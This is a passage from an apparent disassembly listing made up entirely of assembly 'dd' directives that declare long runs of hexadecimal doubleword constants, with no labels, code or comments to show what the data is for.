		dd 80AC33ECh, 58AA572Bh, 0BDFCCEh, 0EBB6E669h, 0BF1865EDh
		dd 80057494h, 44E581DEh, 0A60EB433h, 8587B6D9h,	1843400Eh
		dd 53022194h, 0A1CC172Bh, 513CC003h, 0B699C497h, 2F94ADDBh
		dd 0F70A089h, 158F8DDh,	774EABBh, 4C477B99h, 7D89A2A0h
		dd 0D6132C7Dh, 294C0316h, 0C2D8B45Dh, 401A6CDh,	0A64DF8Dh
		dd 94344DC1h, 9C3F8846h, 19AC4E03h, 80A5C97Bh, 4C0D1CE2h
		dd 8700DA12h, 8C29101Eh, 10956549h, 0E071B9Ch, 83FC8D20h
		dd 0B8060B3Fh, 421D5804h, 46A87EB6h, 11D002BCh,	0BF316A37h
		dd 0C9EFF0A1h, 94CF13A1h, 0FD80E509h, 0DBF1BBBAh, 0B43B700h
		dd 9DE4E845h, 12B5F6Fh,	80AF8180h, 64BC489Eh, 607DD744h
		dd 6C2171DDh, 0FD3D8CE7h, 3F698092h, 6A51FEA0h,	10F892D1h
		dd 0DCDAF4C4h, 17ED6C30h, 60E44C78h, 8CD38505h,	1DC83058h
		dd 0A21DC43Ch, 0BD83C0CAh, 25AFD248h, 88C5DCF1h, 93E71601h
		dd 9F86F8Dh, 6B508D4h, 0C380E433h, 0F687B198h, 1B2B095Ah
		dd 0C11A0F0h, 0FCD05202h, 3B0084E4h, 1560C2A4h,	2AA5E896h
		dd 18880BC4h, 0F9AC50F3h, 6E7857E9h, 1470BF24h,	712A82Ch
		dd 0B8AF70D3h, 9EF21Dh,	4D30BB5Eh, 81208BFAh, 0BA03EE00h
		dd 74138460h, 0FE6E4CBh, 0AB857DB1h, 389910E0h,	8F4897C8h
		dd 24C42204h, 22A1AA8Dh, 0ECE44444h, 0B464DD0Bh, 0BECC2796h
		dd 0ED4EAFA7h, 0F8002060h, 18C9FC8h, 5D7A7EB8h,	60ACFC3Bh
		dd 0E5645F7Ch, 0C6320FE0h, 68581013h, 207C27E3h, 9E8F46A8h
		dd 0CC700749h, 0F063C8A5h, 0F24E8BE3h, 7100CA7Eh, 76DB760h
		dd 1A2AE8h, 295EBE93h, 2DBB9852h, 0C0E4AE1Ch, 0AB70C241h
		dd 2039FFA2h, 0CF87751Dh, 51445AB5h, 0C9208C52h, 982EBA88h
		dd 68D24858h, 7A7C205Eh, 887AC778h, 87BF3D0Bh, 0D0E4EB43h
		dd 0EE21B6EEh, 0F28B16C0h, 0C5342450h, 6E5408C4h, 89452764h
		dd 38BC40AFh, 39170B1Fh, 143F5C00h, 368F9ED0h, 993FE35h
		dd 5143506Fh, 0A4310024h, 49035F44h, 0E9C314B0h, 0EADBF086h
		dd 208D0985h, 0B4C887D7h, 9B5F36A1h, 5E70EC27h,	0C074FCFAh
		dd 0D8E04121h, 0C5006B8Bh, 0A13FF172h, 1A53BFh,	60EAECAFh
		dd 490DADC4h, 82796E60h, 281D84F8h, 43ECF0BBh, 1391223Fh
		dd 28EC2EB6h, 0E5030D80h, 0EBFAA5A2h, 23D81144h, 0B1670F43h
		dd 2062615Ah, 604125E3h, 0F2C7A358h, 41B056DDh,	2AD6831Eh
		dd 0C0BFC13h, 49C6EB4h,	0F57BBDA2h, 0D03081F3h,	77E5001Eh
		dd 46F201B6h, 0E0B8BBF6h, 0B334502Fh, 9895A4ADh, 2214568h
		dd 8531FA33h, 6449FD68h, 89BB0C07h, 8472FCh, 0FFCD0E37h
		dd 1B0E6EDh, 539894D5h,	20801783h, 5A3AA028h, 0C18189EAh
		dd 9071EFh, 38CCC0ACh, 20229E2h, 0F08A68ADh, 5F50C07Fh
		dd 854C4459h, 94B695h, 910B879h, 0D7518078h, 0F306980Ch
		dd 0B2EB8052h, 0A80722A4h, 0A287FA00h, 0B10D4F7Dh, 0A7E50921h
		dd 6C187EB2h, 0F2128D26h, 0E8A2DC29h, 0B1936E01h, 41E4417Eh
		dd 32566F88h, 10BCD05Ch, 8A5807BCh, 2118CE4Ah, 240F265Fh
		dd 82C54444h, 0C45288A8h, 0AC2BA100h, 5C71B32Eh, 3F5A00B4h
		dd 0EF09CE40h, 6F4CBB0Fh, 44772A5Ch, 58589528h,	4C3C7948h
		dd 0A4D21E44h, 1DDC6484h, 21D938D2h, 0E8A5B810h, 2E1D3D14h
		dd 6D00B11Ah, 7EB5FAB9h, 48BE00DAh, 0D6154555h,	0BC00B3E0h
		dd 9D93019Ah, 4850ADC0h, 6C5CAC07h, 0E7601480h,	77003578h
		dd 0C20B4631h, 2C1A6228h, 1298C7D5h, 0AD6031C6h, 71383904h
		dd 0B0705489h, 11404247h, 0DE261165h, 41302C24h, 731E45F3h
		dd 0E8545F3Ch, 77CF10B0h, 0A053684Ch, 302BAC12h, 0A4F9937Ch
		dd 8840305Fh, 3D09B1F2h, 11500038h, 18A29935h, 68000595h
		dd 0D703F3DEh, 0B8200A2Eh, 0D3A32180h, 81BC9F94h, 0F126D81Fh
		dd 395A22E0h, 324A2BEDh, 8C61B8C0h, 84CE0CCAh, 67A944h
		dd 0C98AD263h, 5EAC9AAFh, 13005C78h, 4C755F0h, 1847B0A8h
		dd 592AEBBAh, 0DB0E7306h, 0B7A4F8h, 7428E878h, 0C2A70427h
		dd 0BCC8507Ch, 16B639F4h, 890D3E3h, 0B830522Eh,	14A4E690h
		dd 0C0B8A1C3h, 9E725B10h, 107D108h, 83C4AB41h, 22382252h
		dd 80C4B170h, 84DC9E39h, 0B50120F2h, 0FF440C4Dh, 60EEE5A6h
		dd 82873B08h, 8B00D0F9h, 9082BFABh, 0C7D9010Ch,	0AE37733Eh
		dd 8FFCCBEDh, 0C45B23A0h, 0E7C340DDh, 9FF805Eh,	517DEDF4h
		dd 5DF3DC02h, 0F023C311h, 0A8601F70h, 0A2291251h, 33FF808Ch
		dd 28B4EA18h, 9C4E595h,	47B16C98h, 0AD1C9CC4h, 1AC3535Ch
		dd 0E0FFD9D7h, 0B104DFh, 62C4FC25h, 0E55989E2h,	0EC4BF998h
		dd 44511CC8h, 7C98E907h, 7022D343h, 1188A15Ch, 8938417Bh
		dd 5A07201h, 0C48E6F56h, 4C079742h, 8AE021BBh, 0DE70039Eh
		dd 2CEAC193h, 0C581423h, 0A368D332h, 30129219h,	1A0FE4DAh
		dd 0E066D267h, 0E16A4E28h, 0B27207BDh, 2C386845h, 78406790h
		dd 0A68B75D0h, 83F627C4h, 467B80E4h, 2ADD240Fh,	4B9EBF4h
		dd 0FB315E64h, 0B68D0004h, 61E0B6C7h, 32C45F83h, 783093E0h
		dd 0B1832E9h, 249EB38h,	0B47D4C68h, 0F46D21C0h,	0D679F0h
		dd 667CC01Fh, 0B4DF4EBEh, 0C991EF01h, 9830964Dh, 2947E0h
		dd 925287F2h, 0C8C1138Dh, 0B8852F00h, 0BBFC9701h, 1409188h
		dd 0EA8F4D18h, 0DFA45206h, 0F608E619h, 527388h,	0AF459DA8h
		dd 0A6345B60h, 0B8413C00h, 541583AAh, 1CEF58E6h, 0AB17410h
		dd 846D72D9h, 8B7F8141h, 0F7C4043Ah, 5A3CB057h,	8060A0A6h
		dd 955FA99h, 0D7451F36h, 8B4043CAh, 80E52083h, 2EAFB35Ch
		dd 2B7B0678h, 0D4C2BB4Eh, 0A86430h, 6568E646h, 215BBEC0h
		dd 0BC2783EEh, 1D904CA5h, 828D5F1Eh, 0B0A36C6Fh, 0DEBDE476h
		dd 14B2B012h, 0BF01B33Bh, 83C2F655h, 8A5852DEh,	9F2510h
		dd 0D85186E3h, 54A4A0ABh, 3F202C90h, 60A1004Fh,	29B0CCD0h
		dd 0D022B0Ah, 857E6ABBh, 0C4C0523Dh, 0ACC7B710h, 0C95C8824h
		dd 32BAB804h, 10A611C6h
		dd 7AD468B8h, 445600B5h, 616A889Fh, 0C01D810h, 0BF437F60h
		dd 9C413E6Dh, 6030D6F7h, 870B00B9h, 6A6EBC74h, 0DD162EA4h
		dd 30265D45h, 479C9C10h, 272B91CCh, 7471C47Bh, 0EE93680Eh
		dd 200832ECh, 4A98643Bh, 170884ADh, 0B2EC0041h,	136DB57Fh
		dd 87EBF600h, 6FAF4402h, 48010358h, 1A6B9D9Ah, 8AF51800h
		dd 4B41986Ch, 97D805DEh, 0C3A615EAh, 0F2F00E6Ch, 0FC89DB52h
		dd 0F020402Ah, 874926B5h, 459F8919h, 820C2798h,	7CD0118Ah
		dd 0CC00C805h, 1F898000h, 996B49B9h, 166E902Dh,	0AEF46E2Fh
		dd 97909300h, 99273E93h, 3D41110h, 0C748E17Bh, 0C65B8B3h
		dd 85C40479h, 0E2F9EE94h, 66630B34h, 280D8AA6h,	89C86210h
		dd 0D8C18D92h, 8410E62Ch, 0FC022DA2h, 0AC20A355h, 13846646h
		dd 8BB1FFBBh, 0E1911778h, 3504F01Fh, 58C2BF04h,	111719CEh
		dd 5F6A80AFh, 0F0BD802Ch, 6D406F9Dh, 21C90CB0h,	7FE0B0E0h
		dd 74418248h, 0C14C78E9h, 85EBD576h, 88A63430h,	0E807C615h
		dd 4992BDDFh, 0D0E6B70h, 2458002Ah, 44D3B5E2h, 6CAE121Eh
		dd 0BE0E850h, 0B9644C99h, 0EE6F00D1h, 0A36A4600h, 80C03DF9h
		dd 739AD3D1h, 3C50068h,	8AA36F4Bh, 0F4987998h, 0E42094B9h
		dd 39B02150h, 66434C9Ah, 894CA29h, 3097439Dh, 53BE60D0h
		dd 38A300B7h, 46DF7BE3h, 9600EF09h, 0F5E922C9h,	0EACE3498h
		dd 0E4089407h, 871CA216h, 819021A1h, 0B0E442A7h, 95E877D0h
		dd 7458802h, 5457EC20h,	0B3050F99h, 0C0FCF03Fh,	0EB1B44E4h
		dd 6E1F3304h, 78ACDBh, 0D3455A2Bh, 7CCB87BBh, 13B40695h
		dd 18352A1Eh, 0DE963700h, 0F9935B9Ah, 10CC9EECh, 60D3C812h
		dd 0AE769E2Ch, 0C0A12E2Ah, 22E0F722h, 0FA00D668h, 2B0F1F84h
		dd 5036BBD4h, 9C045C9Bh, 0AFBE1D60h, 0B7FBB402h, 7B21CC58h
		dd 58890956h, 2F00B8ECh, 4AFABB94h, 145ABD21h, 8CD0B0C7h
		dd 2C80223Dh, 723B838h,	0F02583DAh, 1DA049FCh, 3262C0h
		dd 0C1D5B137h, 84087874h, 0E7F6A71Ch, 0EC60F4E6h, 7E7A8AC8h
		dd 5844F086h, 915B78E6h, 29694658h, 36AF126Ch, 0C3C22CE2h
		dd 1C461683h, 9E10F342h, 80F28874h, 6128A1B8h, 68F2E716h
		dd 7ED8020Bh, 0DF70040Ch, 1BC820B2h, 5E87AF85h,	0BBF02808h
		dd 180C1B8Eh, 0DB8ADDE0h, 70030E6Ch, 0D347105Dh, 0D81DA507h
		dd 90721C10h, 1DCC8620h, 0A6D75CA6h, 0B4B940A4h, 6E0187F7h
		dd 0EAA57467h, 830C9B65h, 5B468140h, 0F28CC96Bh, 2D2B5330h
		dd 0A409191Bh, 0B6271CE6h, 92CCAFDDh, 0D02640B2h, 0CEDC087Ch
		dd 191F7C0Ch, 65100048h, 0BD953DDEh, 809646A7h,	2E802249h
		dd 10D311F0h, 8384E6h, 811F3D75h, 6369BF87h, 42437090h
		dd 0B5D04B5Fh, 153BD482h, 0E6B4AD01h, 0C7A2643Ch, 6E02BA11h
		dd 8004F518h, 2195FFFAh, 87B29A00h, 0E141D340h,	0D0661DEAh
		dd 69FFC28Bh, 88E080B8h, 0DC04F245h, 0BBF628CDh, 0CF12AC97h
		dd 0BE080EA1h, 0FC55AF8Ah, 2D558h, 9E404191h, 0B37688AAh
		dd 0EA15300h, 22971292h, 0EB5E0EB5h, 988480BAh,	8B48849Bh
		dd 90110064h, 0E1FE31A6h, 50120FF8h, 4CA01EF5h,	2E43C968h
		dd 15A38B0Ch, 861AF8B4h, 6870A44Ah, 3B1E3ED6h, 640AC357h
		dd 5E8D5D0h, 0B26F7140h, 89770B38h, 3B84E449h, 0B313AADEh
		dd 98042257h, 9C880C2Ah, 1CB591E4h, 6D40386Eh, 85D2A1FCh
		dd 40B00007h, 263A1842h, 881C4CC4h, 59001179h, 0E2DCD01Fh
		dd 0C1800062h, 90BA367Ch, 2D00BB75h, 88EB3842h,	0BFC9B86h
		dd 596E0571h, 0FA4C7C98h, 0F7D3F100h, 3E5CF0DDh, 179926A0h
		dd 58B7155Ch, 0B631AD31h, 585EE2D0h, 0D8208044h, 0E1272B0h
		dd 0C0C12CCCh, 4EAABECh, 0A43240A8h, 0E2FA7B68h, 0BBBE1A63h
		dd 4C51C85Bh, 0BD805E05h, 88A1C41Ch, 0B591041Ch, 0C9289300h
		dd 84BA8021h, 0FAC8EE00h, 8FFFBF85h, 0DE454819h, 0DC70640Bh
		dd 0FB160CC8h, 0B738A4E0h, 0C0C0CC6Eh, 19868733h, 670F217h
		dd 4D30B8A5h, 0BC756906h, 0DE7D5818h, 5E9C511h,	0F6A4EF52h
		dd 0DFEC48AAh, 4CE3CB65h, 71E30812h, 0FC43B1F8h, 4501C9D5h
		dd 0EBF6B41Dh, 9BD080B9h, 0D06E2E6Bh, 9F67080Ch, 73198147h
		dd 4AED00F4h, 0EF9ED123h, 0C1903F12h, 8586AC48h, 0B9066D6Bh
		dd 0FFF580C0h, 2D979178h, 0FC641BB8h, 5A282400h, 0AAB0E64Dh
		dd 0C2C4CEAh, 0A4A2ABC2h, 8001ECD9h, 8A853CE4h,	1F42CCh
		dd 1A87FFEEh, 8E8B6A06h, 0DF0A93E0h, 8C822031h,	0B0B4F804h
		dd 0E4C6E349h, 5A342D2Eh, 0A428C024h, 94E2B42Bh, 7AD4B980h
		dd 26773A42h, 528CAC17h, 4C73CCE1h, 3BBFEA94h, 54D4D8D8h
		dd 0B2EE0175h, 2FE8F563h, 0FC137E58h, 0E4D7B049h, 31B80054h
		dd 9E960442h, 0AF0903A2h, 0C039FA41h, 0A433ECC8h, 892E0084h
		dd 3765137Eh, 305CFC05h, 917621ACh, 18580Ch, 9DE5B2A7h
		dd 4A52CB6Fh, 4E3C49C8h, 160344CEh, 4FE60757h, 4D83885Ch
		dd 1C9400EEh, 31AAD980h, 0FB4BE213h, 4DA888Dh, 0F44452C7h
		dd 8813E12Fh, 32005214h, 5342AE3Ch, 3FBD1B54h, 250596A1h
		dd 0B2A7DA7Ah, 4D470068h, 0D35FCD7Ch, 0E09F000Fh, 3D704F03h
		dd 17095279h, 98168EFAh, 218B8F74h, 82276849h, 115DE740h
		dd 0C2B6118Fh, 56083063h, 0A0A64E2Bh, 0E92BE791h, 12FA9170h
		dd 8CCA45F3h, 42E33E01h, 61B1C778h, 0A0BC4155h,	70D901E2h
		dd 338BCC32h, 36E05490h, 39E4D058h, 37A90061h, 0C0144412h
		dd 303E48D7h, 7B927F21h, 408BB0CCh, 0EFF4B6E2h,	46411496h
		dd 2CD090EBh, 56849814h, 572C4073h, 0C9FA10D4h,	20A8E6CAh
		dd 0B901E007h, 5024377Eh, 4C28D70Fh, 72E0AF2Eh,	0FA415CD6h
		dd 6D71B8A4h, 0A9776C64h, 0BC15ED60h, 53268000h, 2E094088h
		dd 12005A78h, 888C53B7h, 0E5E0EED0h, 5C2F807h, 97D01541h
		dd 1B0EDBh, 0DE9F5807h,	3E8721CDh, 0DF189E09h, 0BEA09CA4h
		dd 579708E0h, 0E0619444h, 0D02510E2h, 7137002Bh, 0A46B7B49h
		dd 10B17EB2h, 218D2681h, 6DC6384h, 0BBD32DF9h, 16422890h
		dd 1A70C5F2h, 0A1690F18h, 8452BB78h, 84C8AE5Dh,	0DE48B8E0h
		dd 973F1D80h, 13F63CC6h, 0DC73480Ch, 2CB933F4h,	4000C524h
		dd 4D348E4Bh, 3A823F2Bh, 60B1D880h, 0C753A8A4h,	0F819AB28h
		dd 2922EA43h, 463B4090h, 117A05A3h, 0CC8C21BBh,	6FEB001Dh
		dd 86CFF134h, 0EE000E0Ch, 8E7063BDh, 4F8A966Eh,	0E0C434BBh
		dd 0DD079E40h, 0FA85C7B9h, 0F223BBE0h, 0B40E0A2h, 0C5651881h
		dd 58D71040h, 0B93CA795h, 0BB8FA210h, 0B8DE48EEh, 225ACA22h
		dd 0E924C8h, 0AE37A561h, 0A4F6C163h, 0FAEB8C07h, 77723D2Ah
		dd 0A0288EFDh, 0F7CCB875h, 4E7D1520h, 0A851F4A6h, 0BC782461h
		dd 0B9C08048h, 0A6FF4536h, 77B8FD1Fh, 802C5D7Ch, 8329208Fh
		dd 0B0EA4DC6h, 0A446682Dh, 740B300Fh, 0E0421707h, 22A186C3h
		dd 38DB04C9h, 4415F300h, 30176Ah, 8FE8BB0Eh, 27D9ECC0h
		dd 97824828h, 2FFC2103h, 86720879h, 14C60039h, 3FA6D51Ch
		dd 0FF746D43h, 4A3802Fh, 20B01FE0h, 0D0F0A1C4h,	1C032808h
		dd 0B066AFDBh, 0A4E5C887h, 3E8900D9h, 0C34963BEh, 6416DCA7h
		dd 0F500D5F6h, 8C59FCDEh, 330627DFh, 293F7CA0h,	1F00AAB7h
		dd 8ED1ED14h, 58DC4054h, 9E213C55h, 71A60609h, 0DD5F9098h
		dd 0AA17222h, 855F7BEh,	3F1E08D0h, 6491FC20h, 3AC14D80h
		dd 0BDBE44FEh, 0B87C9C05h, 0B6F58758h, 0AEB20467h, 0FF0719Dh
		dd 0BC74C406h, 604F4E3Bh, 714D8658h, 0C3D0B200h, 33780E89h
		dd 0DBD226F1h, 59EB0854h
		dd 0B9427C44h, 208748BDh, 1B860055h, 3300E473h,	1FCAB0E2h
		dd 5B89574h, 0D140506Ch, 1E08F359h, 1001A95Ah, 727DC0A0h
		dd 0BE5E992h, 0ACC51744h, 0A06C4604h, 0E24AF8B2h, 0BA028200h
		dd 0BF7D602Bh, 12CA17BEh, 0FF2803D8h, 0A1AF8C52h, 803CE648h
		dd 9550B869h, 134EA887h, 0C7B23038h, 0A26448C0h, 4FC03CF9h
		dd 2F5A35B3h, 0C6F34B00h, 42A85C80h, 0EE550930h, 5C4BFFE5h
		dd 5ECCAEF8h, 9AA3DC04h, 94903214h, 4AAD69D9h, 27182004h
		dd 98009B3Ah, 0CE12911h, 0C21A7CEDh, 19D0B6A9h,	6CE0E47Eh
		dd 192DD86h, 56A48423h,	0F0E9F40Ah, 2500BEE3h, 0BC4274C2h
		dd 0C0C78909h, 0E5D85D30h, 5F2D8469h, 40E610h, 8B2A8599h
		dd 8730E5B7h, 94B25A00h, 79E6F2B1h, 7777DD6h, 4C987E7Ch
		dd 0C81C3D0Bh, 3301BF31h, 438D845Ch, 7E00439h, 0ECDE015Fh
		dd 80AAB45Dh, 0F5DC494Fh, 0FD4110C5h, 0A08E4887h, 0B86D4912h
		dd 40D3C820h, 0ADA7E257h, 85EA361Fh, 0C6800527h, 0ECA050BCh
		dd 4F003E6Ch, 10792A72h, 2F2058Bh, 175FE873h, 98C0DFC0h
		dd 1FE4E5BEh, 98011C24h, 20F0313Ch, 2200DC10h, 0DB17C69Bh
		dd 60B2D4B1h, 3DF3ED00h, 88E69E0Ah, 0CBA75D06h,	938A3CFh
		dd 200C2CFBh, 0C3D97082h, 0ADC41040h, 0CCD8DA5Bh, 79930FC0h
		dd 0D5A01C5Dh, 0CF23118Eh, 0C0C4B024h, 84C53B00h, 35AE694h
		dd 0E75FEDBEh, 0FCF06074h, 0D0168AA8h, 0B8908C9Fh, 0E0DC0EEh
		dd 0C55CA607h, 0DBE9h, 0FA399BD9h, 68A98407h, 0CDC18EE4h
		dd 59E48CB6h, 4C5A07A5h, 2C4044E6h, 4600D8D9h, 0E080C0ACh
		dd 246071D9h, 3F741A81h, 0F629316h, 20EDF1Ch, 11644B06h
		dd 0E944CCB0h, 304500D2h, 0FDF1F0BCh, 9917FE6Ah, 0B842AEC7h
		dd 20DACBDBh, 0ACE30998h, 0D8A3D11Fh, 0B8B1F6C5h, 6E78B0h
		dd 0BB8C4131h, 0C7B6DBFEh, 0F820CD5Ah, 4C673687h, 0FF8270CAh
		dd 0BC6E8F73h, 4101CB72h, 1D20FE09h, 30F0F4ACh,	0FACC00F2h
		dd 948D0D87h, 0A162677h, 0C804152Bh, 0A14E1798h, 0A7930F3Eh
		dd 0E3B46462h, 0AFE41857h, 81CCBC5Ch, 0B87D42B9h, 0D4DAF620h
		dd 10FFFA28h, 0A128D95Ch, 213AAE6Fh, 0C168A0A4h, 0F8F3EA57h
		dd 7083AA00h, 1E11512Fh, 41D72C08h, 0E8E24B29h,	221438B8h
		dd 9EAF1262h, 30B777h, 3C5C1C3Fh, 0E651A3Ah, 0F32BC37h
		dd 8022EDA7h, 0FC66828Ch, 114420BFh, 0FA5868E5h, 0D30200E1h
		dd 48DB7CB3h, 1600E9D8h, 0AB363347h, 91064941h,	58AF0B60h
		dd 48B82018h, 8C41644Fh, 4A5E9CDFh, 58DE4C4h, 5AF23506h
		dd 889CBC9Eh, 0AC64AF1Ah, 965A2D01h, 3F0B9CF9h,	0C73ABF4h
		dd 76746E52h, 0DF3BF4C4h, 1E5DF4DAh, 145C2D44h,	0F5CB013Ch
		dd 0C3463D1Ah, 0D54FC819h, 6E0B0700h, 0B90E5CD4h, 28B948h
		dd 1A994CADh, 8D01B89Bh, 4A3C09AFh, 0FDE06BF7h,	0C6862843h
		dd 779722D0h, 70784644h, 2640095h, 61981C3Ah, 0AA143669h
		dd 0ED48B30h, 3639B52h,	89C47FB9h, 1020FDD5h, 0C720120Ah
		dd 9878F8F2h, 6FC06Eh, 14DE89EFh, 4E4A9DF4h, 9C9150F2h
		dd 64D3EC05h, 40557C44h, 0D30040E7h, 97A70C94h,	201B20Dh
		dd 0D56AE56Eh, 0A2FC5171h, 0F1E7319h, 0D956F2B8h, 0B9ECDC32h
		dd 31C64502h, 5A4750F2h, 22D15BFCh, 0A0184588h,	4BEC9006h
		dd 3C64C873h, 7BDE0440h, 0FCD90A72h, 0FCC1474h,	52A28E22h
		dd 58718D0Ch, 1643FA00h, 0EBCB4Dh, 0D30561Eh, 0C5F38966h
		dd 55CAC01h, 2B5B573Ah,	60909D2Bh, 1895B184h, 692710h
		dd 429EA4C7h, 0F612A6DCh, 60194400h, 1B5652E6h,	84D64C8Ah
		dd 0B91CED00h, 71970185h, 0AED47907h, 8F0039EEh, 7E97074h
		dd 22A1BFF3h, 0A24760BDh, 9B78E1B2h, 0D75410B5h, 71AC001Ch
		dd 2B047631h, 92ABBF4h,	5D0B9050h, 0D243E5A8h, 0B948C06Ch
		dd 0A3E80EB4h, 29BC8835h, 9C4438E1h, 4CC260A4h,	4C0FDFB4h
		dd 0A4A09F74h, 0D1D89CDCh, 7C5A78B8h, 0B0465C93h, 4A45CC8h
		dd 0C1EF8066h, 53E892A0h, 4C226120h, 91020094h,	6CD00FC8h
		dd 474B8E38h, 0CCF86412h, 43A284B0h, 71513000h,	0F2DFDAD5h
		dd 85EE09ACh, 0B010C4B1h, 31C048BAh, 0A3641DDAh, 338B2EDFh
		dd 56B94044h, 5B72B83h,	0ACC344D0h, 0A10FD4F7h,	0D0467BE1h
		dd 30586ABBh, 82518A98h, 4667602Eh, 0C1B2C7BAh,	0A4DB2A34h
		dd 0F0101CE0h, 0FC80AE88h, 0D81F06ACh, 57EB0083h, 14D31BD7h
		dd 0E195DA8Dh, 0B708CA64h, 0D21222E0h, 18056E6Ah, 2C98D730h
		dd 0B0E720Ah, 7F81FB2Ch, 9B364802h, 284FC90h, 6E15503h
		dd 0C2788150h, 5F08843Ah, 1A6108Ch, 0D18B7220h,	6FB4883Dh
		dd 0CFDE6C5Fh, 47CA3841h, 0CB2E56F3h, 5BA3CF4h,	0AF0749F2h
		dd 5C009CB7h, 0A86C86EDh, 680066F1h, 4E73E243h,	13468EA7h
		dd 62DD5857h, 168090h, 0BBD476A2h, 42333470h, 0A4268501h
		dd 38AF7C3Ch, 0FD406E82h, 0C4F3CDEEh, 4843100h,	3E2689h
		dd 0FA4A8E1Dh, 13753D23h, 9A83530Eh, 6EA84243h,	2968C428h
		dd 1248D3E9h, 9438A281h, 0C1D3006Dh, 0CCA436AAh, 406F1D83h
		dd 0A0418002h, 84E8593Eh, 0DC867609h, 0BA748069h, 0E0DB20h
		dd 0E396C2Ch, 0AE8C8392h, 502D1800h, 9D2B0F40h,	0B1AC00D2h
		dd 0E589B42h, 0B51D2670h, 4B43BD01h, 0A071A004h, 0E9AD08Dh
		dd 79E42745h, 6D307B40h, 0D5038920h, 4BEC93D2h,	736FD819h
		dd 326F0ABh, 2FAA2A18h,	83D04558h, 52009AB3h, 84FCB0DAh
		dd 0FE0F297h, 0BB12FFD1h, 8D2BEA40h, 3000695Dh,	3EA6C35Ch
		dd 0C0FA701Ch, 87454258h, 58E0EC4Ah, 7E80F412h,	0B4F62200h
		dd 30921644h, 0ED28756Dh, 0BF30D343h, 0FFFB38E5h, 39337408h
		dd 78AB7Bh, 2E3EF904h, 73F7EF64h, 7C61D360h, 2B89FEh, 2E1B26B7h
		dd 0F8F4FC8Ch, 1EFABD0Eh, 8DFFC010h, 3F0E53BFh,	0E230A2F6h
		dd 21CE6071h, 0F03CAAE2h, 494707F2h, 4460964Fh,	78FF7Bh
		dd 0FDA64258h, 0CEDBF8D0h, 0E26C0A01h, 0E61DE871h, 0F7FC8186h
		dd 0D2F050E5h, 0CCA89255h, 0B000502Fh, 0C024DA1Ch, 3C77CBh
		dd 0E6C7FD9Bh, 0F96D101Dh, 0D2971B03h, 0C016E343h, 0F094BE05h
		dd 9FD0302Bh, 0C118C449h, 0DBC97400h, 53E8D728h, 73411B0Fh
		dd 7A881D2h, 12CFAA6h, 0F101022Ah, 0A7F8A258h, 3018D0E8h
		dd 0F2F14E17h, 59C087C8h, 7D97A805h, 0E808CF13h, 0F651F92Ch
		dd 10317660h, 85A704h, 97072994h, 118AA3E6h, 9160DA76h
		dd 0B09E7248h, 58CD502Bh, 1C2200D8h, 1B1FE50h, 815CDEEDh
		dd 0D57B189Dh, 0E9D161h, 72310A54h, 0FF737946h,	89A32901h
		dd 2C1F6F4Dh, 0E85BCCCh, 0F8CB1E8Ch, 41EC0093h,	2818D506h
		dd 0A17FF130h, 0A494A8h, 77999526h, 0E5639FDCh,	1EF17B00h
		dd 0E671FDB1h, 8C6C30F3h, 0B54E5630h, 89D77030h, 0BB2E3Ah
		dd 7490FAF1h, 5118C6E7h, 7280820Ah, 79818C19h, 687B1411h
		dd 4C1AF055h, 79049060h, 4687240Bh, 55510952h, 61D0C406h
		dd 0F65D5005h, 0B45FF805h, 2BE45030h, 0A681DACh, 0C08F0049h
		dd 6D6EF989h, 0C6C4A48h, 0E17A6C9Dh, 4EB2A2Bh, 0E98EF0ACh
		dd 8840FBE5h, 1457D522h, 4C43957Bh, 0ECF7FF0Ch,	8560D2A9h
		dd 0E8A3D939h, 0B0283DD4h, 0D1779480h, 0A6BE15FAh, 9D443490h
		dd 34DD0025h, 0A1F310C6h, 0BD0ECC87h, 869F36C9h, 7D59F05Ah
		dd 0AD1500D1h, 0D28B8C73h, 1A141B57h, 7E08AFCh,	0C0FA7AD5h
		dd 0A060B87Ah, 0C6F7F3FFh, 38D57941h, 0DBFB7A0Ah, 0A26ED4F6h
		dd 408DCD25h, 0FAE84B80h, 0B0724946h, 90E4F810h, 3C280058h
		dd 13564FEh
		dd 6A860013h, 0BC504123h, 763FFF42h, 1498F133h,	0A8F0F845h
		dd 98E000E9h, 7AA5446Bh, 0A8A3F93Ah, 8FF23883h,	261BAA80h
		dd 0F89283C9h, 0A0B66231h, 798090D2h, 0D7DD38FCh, 72007523h
		dd 32AB3DB2h, 0C78E04E9h, 48E4F6B1h, 0EA5E8700h, 4806E5EFh
		dd 2D1F3679h, 0C667C018h, 868BF92Bh, 1520FC90h,	0F35A32BDh
		dd 0DA4175E9h, 0F487F8B7h, 9EAFFA1Dh, 0C2890A9h, 0F8D30522h
		dd 0A8E253h, 0FB7DAD7Bh, 636EF151h, 0F8905092h,	0D2287AFCh
		dd 7310D08Bh, 93487531h, 0E871F130h, 51C0EE07h,	3551D58Dh
		dd 1310C9DDh, 6E806008h, 10A18680h, 12E63914h, 0F24CB9FEh
		dd 80B039B0h, 22A4B164h, 0EEC6A75Dh, 1498038Ch,	2AD51D2Dh
		dd 75EC6107h, 5DE4ADC9h, 3215888h, 3B715A45h, 0C38C044Ah
		dd 40B08989h, 627B44D2h, 9FCB400h, 7BC2CC49h, 0A445198Ah
		dd 48F1487Ah, 8E006CB8h, 87CB2597h, 1914E6Ah, 6017B350h
		dd 6E4D6B9Eh, 8A47E06h,	934B3989h, 9A7B8C06h, 4A53E198h
		dd 0FF2300E0h, 7F8685A5h, 0DFA300B8h, 0B00FF137h, 30136C75h
		dd 0E404889Fh, 5A0AEB1Dh, 0CEAE0068h, 55A91995h, 40FF3407h
		dd 4EA2E9FEh, 96284999h, 2F5CB110h, 3314D03h, 0F0143F35h
		dd 120430DCh, 24869681h, 0CBD808E4h, 53611D64h,	72C89B82h
		dd 40E4E221h, 7BF8E072h, 18E96974h, 1116D430h, 0D35B7707h
		dd 51E04CBCh, 0B2321099h, 34D65C9Ch, 0F4801C4Ch, 965787CEh
		dd 51A7B509h, 0D5A48476h, 0F7CA0053h, 0BB1AE185h, 1E483F03h
		dd 0A04676A4h, 7ED926C4h, 708C066h, 0BF399615h,	0DA8C351Eh
		dd 0A2277100h, 2EE23Ah,	9EE9BDD9h, 0E41B0D97h, 4007C130h
		dd 89C580ACh, 2147F0D1h, 64BEB3Dh, 0DF644534h, 0A9863928h
		dd 43D9CF8Fh, 63A79340h, 0F3316189h, 0AE4760BBh, 37C5180h
		dd 0CD5BEB0Ch, 0AE72D93Dh, 8C00C928h, 0DE7B5032h, 0B480065Ah
		dd 79E0CA43h, 5734FD50h, 3900CCE4h, 84960E5Dh, 1DDD99Dh
